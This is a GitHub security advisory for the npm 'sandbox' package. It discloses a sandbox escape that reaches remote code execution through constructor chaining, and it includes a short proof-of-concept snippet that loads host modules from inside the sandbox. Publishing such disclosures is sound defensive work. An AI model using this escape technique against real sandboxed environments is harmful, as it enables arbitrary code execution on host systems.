GitHub Advisoryadvisory · npm
GHSA-fm4j-4xhm-xpwx Sandbox Breakout / Arbitrary Code Execution in sandbox
MEDIUM
Official page ↗
- Ecosystem
- npm
- Packages
- sandbox
- Severity
- Moderate
- Reviewed
- 2020-08-31
Affected packages
• npm sandbox: < 1.0.0 (no fix yet)
Description
All versions of `sandbox` through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.
Proof of concept
```
var Sandbox = require("sandbox")
s = new Sandbox()
code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")`
s.run(code)
```
Recommendation
No fix is currently available. Consider using an alternative module until a fix is made available.